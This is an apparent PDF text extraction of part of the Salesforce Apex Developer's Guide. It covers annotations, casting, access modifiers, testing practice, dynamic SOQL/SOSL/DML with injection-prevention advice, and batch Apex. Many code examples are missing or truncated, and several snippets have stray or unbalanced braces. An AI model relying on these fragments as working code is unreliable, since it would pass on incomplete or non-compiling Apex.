license per 24 hours. This is an organization-wide limit. For example, suppose your organization has 5 full Salesforce.com
user licenses and 100 Customer Portal User. Your entire organization is limited to only 1,000 method calls every 24 hours
(5 * 200, not 105.)
• The parameters specified must be primitive dataypes, arrays of primitive datatypes, or collections of primitive datatypes.
• Methods with the future annotation cannot take sObjects or objects as arguments.
• Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or
setMethodName methods, nor in the constructor.
Remember that any method using the future annotation requires special consideration, because the method does not
necessarily execute in the same order it is called.
You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a
trigger from an annotated method that calls another annotated method.
The getContent and getContentAsPDF PageReference methods cannot be used in methods with the future annotation.
For more information about callouts, see Invoking Callouts Using Apex on page 198.
IsTest
Use the isTest annotation to define classes or individual methods that only contain code used for testing your application.
The isTest annotation is similar to creating methods declared as testMethod.
Note: Classes defined with the isTest annotation do not count against your organization limit of 2 MB for all Apex
scripts. Individual methods defined with the isTest annotation do count against your organization limits. For more
information, see Understanding Execution Governors and Limits on page 184.
112
Classes, Objects, and Interfaces Deprecated
Classes and methods defined as isTest must be declared as private. For example:
@isTest
private class MyTest {
Deprecated
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer
be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring
code in managed packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements
continue to function for existing subscribers and API integrations.
The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums,
interfaces, or variables.
@deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
public void myMethod(String a) {
113
Classes, Objects, and Interfaces Classes and Casting
In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object
is returned as a report object, then is cast back into a custom report object.
// The following is not legal, because the compiler does not know that what you are
// returning is a custom report. You must use cast to tell it that you know what
// type you are returning
// CustomReport c = Reports.get(0);
// Instead, get the first item in the list by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
}
}
In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.
114
Classes, Objects, and Interfaces Classes and Collections
Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using
the instanceof Keyword on page 106.
Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder
objects can be assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
}
{
List<PurchaseOrder> POs = new PurchaseOrder[] {};
List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;}
}
Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder.
A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if
the list of PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a
non-CustomerPurchaseOrder subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results.
This is because Apex collections have a declared type at runtime.
Note: Maps behave in the same way as lists with regards to the value side of the Map—if the value side of map A can
be cast to the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error
results if the casting is not valid with the particular map at runtime.
115
Classes, Objects, and Interfaces Class Definition Creation
• The private access modifier is the default, and means that the method or variable is accessible only within the Apex
class in which it is defined. If you do not specify an access modifier, the method or variable is private.
• Specifying no access modifier for a method or variable and the private access modifier are synonymous.
• The public access modifier means the method or variable can be used by any Apex in this application or namespace.
• The global access modifier means the method or variable can be used by any Apex script that has access to the class, not
just the Apex scripts in the same application. This access modifier should be used for any method that needs to be referenced
outside of the application, either in the Web services API or by other Apex scripts. If you declare a method or variable as
global, you must also declare the class that contains it as global.
• Methods and classes are final by default.
- The virtual definition modifier allows extension and overrides.
- The override keyword must be used explicitly on methods that override base class methods.
116
Classes, Objects, and Interfaces Naming Conventions
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it
with <H2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Naming Conventions
Salesforce.com recommends following Java standards for naming, that is, classes start with a capital letter, methods start with
a lowercase verb, and variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have
the same name as its outer class. However, methods and variables have their own namespaces within the class so these three
types of names do not clash with each other. In particular it is legal for a variable, method, and a class within a class to have
the same name.
117
Classes, Objects, and Interfaces Name Shadowing
Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors
of the standard Java form:
Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the
two classes are in different top-level classes and written by different teams. For example, if one has a reference to a class C and
wants to gain access to a member variable M in parent class P (with the same name as a member variable in C) the reference
should be assigned to a reference to P first.
Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S.
References to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by
itself (inside that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;
Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile. Note that you can
only set security on Apex classes, not on triggers.
To set Apex class security from the class list page:
1. Click Your Name ➤ Setup ➤ Develop ➤ Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add.
4. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
5. Click Save.
To set Apex class security from the profile detail page:
1. Click Your Name ➤ Setup ➤ Manage Users ➤ Profiles.
2. Click the name of the profile you want to modify.
3. In the Enabled Apex Class Access related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add.
5. Select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
118
Classes, Objects, and Interfaces Namespace Prefix
Namespace Prefix
The application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange
packages to differentiate custom object and field names from those in use by other organizations. After a developer registers
a globally unique namespace prefix and registers it with AppExchange registry, external references to custom object and field
names in the developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c
Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex
once a class is marked as “managed,” Apex supports a default namespace for schema names. When looking at identifiers, the
parser considers the namespace of the current object and then assumes that it is the namespace of all other objects and fields
unless otherwise specified. Consequently, a stored class should refer to custom object and field names directly (using
obj_or_field_name__c) for those objects that are defined within its same application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been
installed to your organization from theAppExchange.
namespace_prefix.class.method(args)
Use the special namespace System to disambiguate the built-in static classes from any user-defined ones (for example,
System.System.debug()).
Without the System namespace prefix, system static class names such as Math and System can be overridden by user-defined
classes with the same name, as outlined below.
Tip: Only use namespace prefixes when invoking methods in managed packages that have been installed to your
organization from theAppExchange.
119
Classes, Objects, and Interfaces Type Resolution and System Namespace for Types
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class
name, name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer
to other class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly
navigating foreign keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is,
sObject fields cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}
c.c1.c2.a.name
c.c1.c2.a.owner.lastName.toLowerCase()
c.c1.c2.a.tasks
c.c1.c2.a.contacts.size()
Version Settings
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce.com API
version. If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version
settings for each managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components
in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known
behavior.
120
Classes, Objects, and Interfaces Setting the Salesforce.com API Version for Classes and Triggers
Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed
package. This allows you to continue to reference Apex that may be deprecated in the latest version of an installed package,
if you installed a version of the package before the code was deprecated.
Typically, you reference the latest Salesforce.com API version and each installed package version. If you save an Apex class or
trigger without specifying the Salesforce.com API version, the class or trigger is associated with the latest installed version by
default. If you save an Apex class or trigger that references a managed package without specifying a version of the managed
package, the class or trigger is associated with the latest installed version of the managed package by default.
return insertedIdea;
}
}
@isTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
static testMethod void testC2Method() {
Idea i = new Idea();
i.CommunityId = '09aD000000004YCIAY';
i.Title = 'Testing Version Settings';
i.body = 'Categories field is included in API version 16.0';
i.categories = 'test';
C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.id];
121
Classes, Objects, and Interfaces Setting Package Versions for Apex Classes and Triggers
System.assert(ideaMoreFields.categories == null);
}
}
122
Chapter 5
Apex Design Patterns
Like all programming languages, developers can use either good or bad design patterns. The purpose of this chapter is to illustrate
the difference between the two, highlighting best practices and identifying common pitfalls.
The following is another example of a flawed programming pattern. It assumes that less than 20 records are pulled in during
a trigger invocation. If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of
20 SELECT statements inside a trigger:
For more information on governor limits, see Understanding Execution Governors and Limits on page 184.
The following example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor
limits:
This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a
single SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.
123
Apex Design Patterns Triggers and Bulk Requests
• Minimize the number of data manipulation language (DML) operations by adding records to collections and performing
DML operations against these collections.
• Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single
SOQL statement used with the IN clause.
124
Chapter 6
Testing Apex
In this chapter ... This chapter provides an overview of what to test, as well as the tools that are
available on the Force.com platform for testing Apex.
• Understanding Testing in Apex
• Understanding Testing in Apex
• Unit Testing Apex
• Unit Testing Apex
• Running Unit Test Methods
• Running Unit Test Methods
• Testing Best Practices
• Testing Best Practices
• Testing Example
• Testing Example
125
Testing Apex Understanding Testing in Apex
Salesforce.com runs all tests in all organizations with Apex scripts to verify that no behavior has been altered as a result of any
service upgrades.
Bulk actions
Every Apex script, whether a trigger, a class or an extension, may be invoked for 1 to 200 records. You must test not
only the single record case, but the bulk cases as well.
126
Testing Apex Unit Testing Apex
Positive behavior
Test to verify that the expected behavior occurs through every expected permutation, that is, that the user filled out
everything correctly and did not go past the limits.
Negative behavior
There are likely limits to your applications, such as not being able to add a future date, not being able to specify a negative
amount, and so on. You must test for the negative case and verify that the error messages are correctly produced as well
as for the positive, within the limits cases.
Restricted user
Test whether a user with restricted access to the sObjects used in your code gets the expected behavior (whether can run
the code or received error messages.)
Note: Conditional and ternary operators are not considered executed unless both the positive and negative branches
are executed.
For examples of these types of tests, see Testing Example on page 132.
Note: Test methods cannot be used to test Web service callouts. Web service callouts are asynchronous, while unit
tests are synchronous.
127
Testing Apex Using the runAs Method
In the following example, a new test user is created, then code is run as that user, with that user's permissions and record
access:
System.runAs(u) {
// The following code runs as user 'u'
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId()); }
}
}
You can nest more than one runAs method. For example:
System.runAs(u2) {
// The following code runs as user u2.
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
}
}
}
128
Testing Apex Using Limits, startTest, and stopTest
The runAs method ignores user license limits. You can create new users with runAs even if your organization has no additional
user licenses.
}
}
129
Testing Apex Running Unit Test Methods
Although the account record with an ID of 001x0000003G89h may not match the query string in the FIND clause ('test'),
the record is passed into the RETURNING clause of the SOSL statement. If the record with ID 001x0000003G89h matches
the WHERE clause filter, the record is returned. If it does not match the WHERE clause, no record is returned.
Category Level
Database INFO
Apex Code FINE
Apex Profiling INFO
Workflow INFO
Validation INFO
130
Testing Apex Testing Best Practices
In addition, you can execute tests with the Force.com IDE (see
https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse).
You can also use the runTests() call from the Web services API:
This call allows you to run all tests in all classes, all tests in a specific namespace, or all tests in a subset of classes in a specific
namespace, as specified in the RunTestsRequest object. It returns the following:
• total number of tests that ran
• code coverage statistics (described below)
• error information for each failed test
• information for each test that succeeds
• time it took to run the test
For more information on runTests(), see the WSDL located at
https://your_salesforce_server/services/wsdl/apex, where your_salesforce_server is equivalent to the
server on which your organization is located, such as na1.salesforce.com.
Though administrators in a Salesforce.com production organization cannot make changes to Apex scripts using the
Salesforce.com user interface, it is still important to use runTests() to verify that the existing unit tests run to completion
after a change is made, such as adding a unique constraint to an existing field. Salesforce.com production organizations must
use the compileAndTest API call to make changes to Apex scripts. For more information, see Deploying Apex Scripts on
page 420.
For more information on runTests(), see Web Services API Calls and SOAP Headers for Apex on page 447.
• In the case of conditional logic (including ternary operators), execute each branch of code logic.
• Make calls to methods using both valid and invalid inputs.
• Complete successfully without throwing any exceptions, unless those errors are expected and caught in a try…catch
block.
• Always handle all exceptions that are caught, instead of merely catching the exceptions.
• Use System.assert methods to prove that code behaves properly.
• Use the runAs method to test your application in different user contexts.
• Use the isTest annotation. Classes defined with the isTest annotation do not count against your organization limit of
2 MB for all Apex scripts.
• Exercise bulk trigger functionality—use at least 20 records in your tests.
• Use the ORDER BY keywords to ensure that the records are returned in the expected order.
131
Testing Apex Testing Example
• Write comments stating not only what is supposed to be tested, but the assumptions the tester made about the data, the
expected outcome, and so on.
• Test the classes in your application individually. Never test your entire application in a single test.
If you are running many tests, consider the following:
• In the Force.com IDE, you may need to increase the Read timeout value for your Apex project. See
https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse for details.
• In the Salesforce.com user interface, you may need to test the classes in your organization individually, instead of trying
to run all of the tests at the same time using the Run All Tests button.
Testing Example
The following example includes cases for the following types of tests:
• Positive case with single and multiple records
• Negative case with single and multiple records
• Testing with other users
The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than
500 miles are entered in a single day. The primary object is a custom object named Mileage__c. Here is the entire test class.
The following sections step through specific portions of the code.
@isTest
private class MileageTrackerTestSuite {
Double totalMiles = 0;
final Double maxtotalMiles = 500;
final Double singletotalMiles = 300;
final Double u2Miles = 100;
//Setup User
User u1 = [select id from User where alias='auser'];
//Run As U1
System.RunAs(u1){
132
Testing Apex Testing Example
System.assertEquals(singletotalMiles, totalMiles);
//validate bulk
totalMiles = 0;
System.debug('Inserting 200 mileage records... (bulk validation)');
insert testMiles2;
System.assertEquals(maxtotalMiles, totalMiles);
}//end RunAs(u1)
} //System.RunAs(u2)
} // runPositiveTestCases()
133
Testing Apex Testing Example
System.RunAs(u3){
try {
insert testMiles3;
} catch (DmlException e) {
//Assert Error Message
System.assert( e.getMessage().contains('Insert failed. First exception on ' +
'row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, ' +
'Mileage request exceeds daily limit(500): [Miles__c]'),
e.getMessage() );
//Assert field
System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
} // class MileageTrackerTestSuite
4. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(singletotalMiles, totalMiles);
5. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;
134
Testing Apex Testing Example
First, add text to the debug log, indicating the next step of the script:
2. Add text to the debug log, indicating the next step of the script:
4. Place the insert statement within a try/catch block. This allows you to catch the validation exception and assert the
generated error message.
try {
insert testMiles3;
} catch (DmlException e) {
5. Now use the System.assert and System.assertEquals to do the testing. Add the following code to the catch
block you previously created:
//Assert Field
135
Testing Apex Testing Example
System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
totalMiles = 0;
3. Add text to the debug log, indicating the next step of the script:
6. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(u2Miles, totalMiles);
136
Chapter 7
Dynamic Apex
In this chapter ... Dynamic Apex enables developers to create more flexible applications by providing
them with the ability to:
• Understanding Apex Describe
Information • Access sObject and field describe information
• Dynamic SOQL Describe information provides information about sObject and field properties.
• Dynamic SOSL For example, the describe information for an sObject includes whether that
• Dynamic DML type of sObject supports operations like create or undelete, the sObject's name
and label, the sObject's fields and child objects, and so on. The describe
information for a field includes whether the field has a default value, whether
it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an
organization, not individual records.
• Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or
SOSL as a string at runtime, while dynamic DML provides the ability to
create a record dynamically and then insert it into the database using DML.
Using dynamic SOQL, SOSL, and DML, an application can be tailored
precisely to the organization as well as the user's permissions. This can be
useful for applications that are installed from Force.com AppExchange.
137
Dynamic Apex Understanding Apex Describe Information
// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(f.getSObjectField() == Account.Name);
The following algorithm shows how you can work with describe information in an Apex script:
1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects on page 141)
2. Determine the sObject you need to access
3. Generate the describe result for the sObject
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject on
page 141)
5. Generate the describe result for the field the script needs to access
138
Dynamic Apex Understanding Apex Describe Information
request access to standard objects, custom objects are not included as part of the managed package and can never be referenced
or accessed by dynamic Apex scripts that are packaged.
For more information, see “About API and Dynamic Apex Access in Packages” in the Salesforce.com online help.
Schema.sObjectType t = Account.sObjectType;
This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType.
For these types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for
example, RecordType.sObjectType, the field is returned.
139
Dynamic Apex Understanding Apex Describe Information
Schema.DescribeSObjectResult D = Account.sObjectType.getDescribe();
The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult D = Schema.SObjectType.Account;
For more information about the methods available with the sObject describe result, see sObject Describe Result Methods on
page 271.
Schema.SObjectField F = Account.AccountNumber;
In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(f.getSObjectField() == Account.Name);
Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe();
Schema.DescribeFieldResult F = Schema.SObjectType.Account.fields.Name;
In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified
sObject at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the
sObject (Account) and validates that the field name following the fields member variable is legitimate. The fields member
variable only works when used in this manner.
140
Dynamic Apex Understanding Apex Describe Information
You can only have 100 fields member variable statements in an Apex script.
Note: You should not use the fields member variable without also using either a field member variable name or
the getMap method. For more information on getMap, see Accessing All Field Describe Results for an sObject on
page 141.
For more information about the methods available with a field describe result, see Describe Field Result Methods on page
274.
Note: The value type of this map is not a field describe result. Using the describe results would take too many system
resources. Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field,
generate the describe result for it.
141
Dynamic Apex Understanding Apex Describe Information
objType.add('KnowledgeArticleVersion');
objType.add('Question');
//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Getting description
singleResult.getDescription();
142
Dynamic Apex Understanding Apex Describe Information
return describeCategoryResult;
}
}
//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);
143
Dynamic Apex Understanding Apex Describe Information
category.getLabel();
@isTest
private class DescribeDataCategoryGroupSampleTest {
public static testMethod void describeDataCategoryGroupSampleTest(){
List<DescribeDataCategoryGroupResult>describeResult =
DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
144
Dynamic Apex Understanding Apex Describe Information
This example tests the describeDataCategoryGroupStructures method shown in Accessing All Data Categories
Associated with an sObject. It ensures that the returned category group, categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());
145
Dynamic Apex Dynamic SOQL
Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at runtime with an Apex script. Dynamic SOQL enables you to create
more flexible applications. For example, you can create a search based on input from an end user, or update records with varying
field names.
To create a dynamic SOQL query at runtime, use the database query method, in one of the following ways:
• Return a single sObject when the query returns a single record:
sObject S = Database.query(string_limit_1);
• Return a list of sObjects when the query returns more than a single record:
List<sObject> L = Database.query(string);
The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements
and for loops. The results are processed in much the same way as static SOQL queries are processed.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic
sObject data type. At runtime, the system validates that the type of the query matches the declared type of the variable. If the
query does not return the correct sObject type, a runtime error is thrown. This means you do not need to cast from a generic
sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see
Understanding Execution Governors and Limits on page 184.
For a full description of SOQL query syntax, see
www.salesforce.com/us/developer/docs/api/index_CSH.htm#sforce_api_calls_soql.htm in the Web
Services API Developer's Guide.
SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by
passing SOQL statements into your script. This can occur in an Apex script whenever your application relies on end user input
to construct a dynamic SOQL statement and you do not handle the input properly.
To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single
quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as
enclosing strings, instead of database commands.
146
Dynamic Apex Dynamic SOSL
Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at runtime with an Apex script. Dynamic SOSL enables you to create
more flexible applications. For example, you can create a search based on input from an end user, or update records with varying
field names.
To create a dynamic SOSL query at runtime, use the search query method. For example:
Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular
sObject type. The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From
the example above, the results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements
and for loops. The results are processed in much the same way as static SOSL queries are processed.
SOSL queries are only supported in Apex classes and anonymous blocks. You cannot use a SOSL query in a trigger.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see
Understanding Execution Governors and Limits on page 184.
For a full description of SOSL query syntax, see
www.salesforce.com/us/developer/docs/api/index_CSH.htm#sforce_api_calls_sosl.htm in the Web
Services API Developer's Guide.
SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing
SOSL statements into your script. This can occur in an Apex script whenever your application relies on end user input to
construct a dynamic SOSL statement and you do not handle the input properly.
To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single
quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as
enclosing strings, instead of database commands.
Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically,
and insert them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast
into a concrete sObject type (such as Account). For example:
147
Dynamic Apex Dynamic DML
// The following produces an error because the token is a generic sObject, not an Account
// Account B = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account B = (Account)tokenA.newSObject();
Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must
be cast back into the concrete sObject type Account to use the newSObject method. For more information on casting, see
Classes and Casting on page 113.
You can also specify an ID with newSObject. For example:
Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(f.getsObjectField(), '12345');
The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent
to the anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic
type for any sObject.
Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you
assign a String value that is too long for the field.
SObject c =
Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');
There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an
ID in the parent sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship
SOQL query, which always returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key c2__c that links to a child custom object C2. You want to
create a C1 object and have it associated with a C2 record named 'xxx' (assigned to the value c2__r). You do not need the
ID of the 'xxx' record, as it is populated through the relationship of parent to child. For example:
148
Dynamic Apex Dynamic DML
If you had assigned a value to the ID for c2__r, it would be ignored. If you do have the ID, assign it to the object (c2__c),
not the record.
You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in
a parent-to-child relationship using dynamic Apex:
149
Chapter 8
Batch Apex
In this chapter ... A developer can now employ batch Apex to build complex, long-running processes
on the Force.com platform. For example, a developer could build an archiving
• Using Batch Apex solution that runs on a nightly basis, looking for records past a certain date and
• Understanding Apex Managed adding them to an archive. Or a developer could build a data cleansing operation
Sharing that goes through all Accounts and Opportunities on a nightly basis and reassigns
them if necessary, based on custom criteria.
Batch Apex is exposed as an interface that must be implemented by the developer.
Batch jobs can be programmatically invoked at runtime using Apex.
You can only have five queued or active batch jobs at one time. You can evaluate
your current count by viewing the Scheduled Jobs page in Salesforce.com or
programmatically using the Force.com Web services API to query the
AsyncapexJob object.
Caution: Use extreme care if you are planning to invoke a batch job
from a trigger. You must be able to guarantee that the trigger will not
add more batch jobs than the five that are allowed. In particular, consider
API bulk updates, import wizards, mass record changes through the user
interface, and all cases where more than one record can be updated at a
time.
Batch jobs can also be programmatically scheduled to run at specific times using
the Apex scheduler, or scheduled using the Schedule Apex page in the
Salesforce.com user interface. For more information on the Schedule Apex page,
see “Scheduling Apex” in the Salesforce.com online help.
The batch Apex interface is also used for Apex managed sharing recalculations.
For more information on batch jobs, continue to Using Batch Apex on page 151.
For more information on Apex managed sharing, see Understanding Apex
Managed Sharing on page 158.
150
Batch Apex Using Batch Apex
The start method is called at the beginning of a batch Apex job. Use the start method to collect the records or objects
to be passed to the interface method execute. This method returns either a Database.QueryLocator object or an iterable
that contains the records or objects being passed into the job.
Use the Database.QueryLocator object when you are using a simple query (SELECT) to generate the scope of objects used
in the batch job. If you use a QueryLocator object, the governor limit for the total number of records retrieved by SOQL
queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all account records
(up to 50 million records) in an organization. Another example is a sharing recalculation for the Contact object that returns
a QueryLocator for all contact records in an organization.
Use the iterable when you need to create a complex scope for the batch job. You can also use the iterable to create your
own custom process for iterating through the list.
Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries
is still enforced.
• execute method:
The execute method is called for each batch of records passed to the method. Use this method to do all required processing
for each chunk of data.
This method takes the following:
- A reference to the Database.BatchableContext object.
- A list of sObjects, such as List<sObject>, or a list of parameterized types. If you are using a Database.QueryLocator,
the returned list should be used.
• finish method
The finish method is called after all batches are processed. Use this method to send confirmation emails or execute
post-processing operations.
151
Batch Apex Using Batch Apex
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000
records and is executed without the optional scope parameter from Database.executeBatch is considered five transactions
of 200 records each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second
fails, the database updates made in the first transaction are not rolled back.
Using Database.BatchableContext
All of the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object. Use
this object to track the progress of the batch job.
The following is the instance method with the Database.BatchableContext object:
The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job.
152
Batch Apex Using Batch Apex
ID batchprocessid = Database.executeBatch(reassign);
For more information about the AsyncApexJob object, see AsyncApexJob in the Force.com Web Services API Developer's Guide.
153
Batch Apex Using Batch Apex
The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.
update accns;
}
global void finish(Database.BatchableContext BC){
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
154
Batch Apex Using Batch Apex
mail.setReplyTo('batch@acme.com');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');
Use the following to execute the OwnerReassignment class in the previous example:
Callouts include HTTP requests as well as methods defined with the webService keyword.
155
Batch Apex Using Batch Apex
In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state
with all instances of the Database.Batchable methods. For example:
return Database.getQueryLocator(query);
}
}
}
Note that initialState is the initial state of the class. You cannot use it to pass information between instances of the class
